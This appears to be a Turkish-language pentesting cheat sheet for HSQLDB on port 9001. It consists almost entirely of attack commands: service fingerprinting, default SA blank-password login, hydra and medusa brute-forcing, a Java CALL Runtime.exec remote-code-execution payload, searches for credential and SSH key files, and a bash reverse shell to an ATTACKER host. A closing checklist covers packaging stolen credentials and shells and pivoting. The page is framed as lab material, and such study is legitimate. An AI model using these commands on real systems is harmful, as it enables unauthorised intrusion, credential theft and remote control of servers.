Skip to content

9001 - Pentesting HSQLDB

HSQLDB database

HSQLDB gömülü SQL motorudur. Açık port + zayıf auth ile Java CALL RCE bilinen yoldur. Hedef lab IP’si üzerinde komutları 9001 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 9001 doğrula.

  2. SQL login.

  3. Dosya/SQL loot.

  4. CALL JAVA RCE.

Terminal window
nmap -Pn -sV -p9001 TARGET
Terminal window
nc -nv TARGET 9001
Terminal window
java -jar sqltool.jar --inlineRc=url=jdbc:hsqldb:hsql://TARGET:9001/,user=SA,password=
SA / (boş) default
Terminal window
sqltool 'SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS'
Terminal window
hydra -l SA -P pass.txt TARGET hsqldb
CALL "java.lang.Runtime.getRuntime().exec"('id')
Terminal window
searchsploit hsqldb

HSQLDB için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p9001 TARGET
Terminal window
nmap -Pn -p9001 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:9001' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',9001));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → HSQLDB
Terminal window
hydra -L users.txt -P rockyou.txt -s 9001 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 9001
Terminal window
nmap -p9001 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit HSQLDB
Terminal window
msfconsole -q -x 'search HSQLDB; exit'
Terminal window
nuclei -u https://TARGET:9001 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:9001 -tags tech -silent || true
Terminal window
nc -nv TARGET 9001
Terminal window
printf '
' | timeout 3 nc -nv TARGET 9001
Terminal window
curl -vk --http1.0 http://TARGET:9001/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
SA blank → SQL → Java CALL → RCE